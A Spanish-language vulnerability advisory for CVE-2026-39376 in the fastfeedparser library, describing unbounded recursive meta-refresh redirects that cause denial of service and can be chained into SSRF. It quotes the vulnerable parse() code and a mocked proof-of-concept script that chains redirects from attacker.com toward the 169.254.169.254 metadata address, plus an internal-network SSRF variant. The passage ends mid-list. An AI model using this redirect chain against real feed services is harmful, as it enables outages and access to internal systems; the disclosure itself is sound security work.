
Prueba de concepto para CVE-2026-39376, que demuestra un bucle de redirección infinito de denegación de servicio mediante cadenas de meta-refresh en fastfeedparser, con potencial de encadenamiento SSRF.
CVE-2026-39376(Bucle de redirección infinito DoS mediante cadena de meta-refresh)
Cuando parse() obtiene una URL que devuelve una página HTML que contiene una etiqueta <meta http-equiv="refresh">, se llama recursivamente a sí misma con la URL de redirección, sin límite de profundidad, sin deduplicación de URLs visitadas y sin límite de redirecciones. Un servidor controlado por un atacante que devuelve una cadena infinita de respuestas HTML meta-refresh provoca una recursión ilimitada, agotando la pila de llamadas de Python y provocando el cierre del proceso. Esta vulnerabilidad también puede encadenarse con el problema SSRF asociado para alcanzar objetivos de red internos tras evadir la comprobación inicial de URL.
parse() captura ValueError en el fallo de análisis XML, extrae una URL de meta-refresh de la respuesta HTML mediante _extract_meta_refresh_url() y se llama a sí misma en cola con esa URL. La llamada recursiva es incondicional: no hay profundidad máxima de redirección, no hay un conjunto de URLs ya visitadas y no hay protección contra redirecciones autorreferenciales o en bucle.
fastfeedparser/main.py — parse() (sumidero recursivo):
def parse(source: str | bytes, ...) -> FastFeedParserDict:
is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
if is_url:
content = _fetch_url_content(source)
try:
return _parse_content(content, ...)
except ValueError as e:
...
redirect_url = _extract_meta_refresh_url(content, source)
if redirect_url is None:
raise
return parse(redirect_url, ...) # ← recursión incondicional, sin límite de profundidad
_extract_meta_refresh_url() utiliza urljoin(base_url, match.group(1)), por lo que las URLs relativas, relativas a protocolo (//host/path) y absolutas en el atributo content= se siguen todas.
No se requiere un servidor en vivo. Lo siguiente parchea _fetch_url_content para devolver una cadena infinita de meta-refresh HTML y confirma la recursión ilimitada:
import fastfeedparser.main as m
call_count = 0
_orig = m._fetch_url_content
def mock_fetch(url):
global call_count
call_count += 1
if call_count > 10:
raise RuntimeError(f"Stopped at call {call_count}")
next_url = f"http://169.254.169.254/step{call_count}/"
return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()
m._fetch_url_content = mock_fetch
try:
m.parse("http://attacker.com/loop")
except RuntimeError as e:
print(f"CONFIRMED infinite loop: {e}")
finally:
m._fetch_url_content = _orig
print(f"Total fetches before stop: {call_count}")
# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11
Cada llamada recursiva realiza una solicitud HTTP real (tiempo de espera de 30 s), análisis HTML y una asignación de marco de pila de Python. Con el límite de recursión predeterminado de Python de 1000 y un tiempo de espera de 30 s por solicitud, una única solicitud de un atacante puede mantener ocupado un hilo del servidor hasta ~8 horas antes de que se genere un RecursionError.
Variante de cadena SSRF: La primera respuesta puede ser HTML legítimo que redirija a una dirección interna (http://192.168.1.1/), lo que permite que el bucle de redirección sirva también como evasión SSRF para objetivos que de otro modo estarían bloqueados por la validación de URL a nivel de aplicación aplicada solo a la URL inicial.
Esta es una vulnerabilidad de denegación de servicio con un impacto secundario de encadenamiento SSRF. Cualquier aplicación que acepte URLs de feeds proporcionadas por el usuario y llame a fastfeedparser.parse() se ve afectada, incluidos agregadores RSS, servicios de vista previa de feeds y funciones de "suscribirse por URL". Un atacante sin autenticación puede:
RecursionError después de ~1000 redirecciones